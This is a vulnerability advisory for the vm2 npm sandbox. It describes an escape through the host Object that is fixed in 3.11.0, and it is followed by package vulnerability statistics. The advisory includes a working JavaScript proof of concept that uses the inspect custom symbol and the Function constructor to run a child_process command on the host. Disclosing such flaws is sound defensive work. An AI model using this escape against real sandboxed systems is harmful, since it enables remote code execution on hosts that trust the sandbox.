vm2 Access to Host Object Enables Sandbox Escape
Summary
It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.0 | 3.11.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-94- Platform
- npm
- Package
vm2- Disclosed
- 07.05.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-47x8-96vw-5wg6 - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2 Access to Host Object Enables Sandbox Escape this entry
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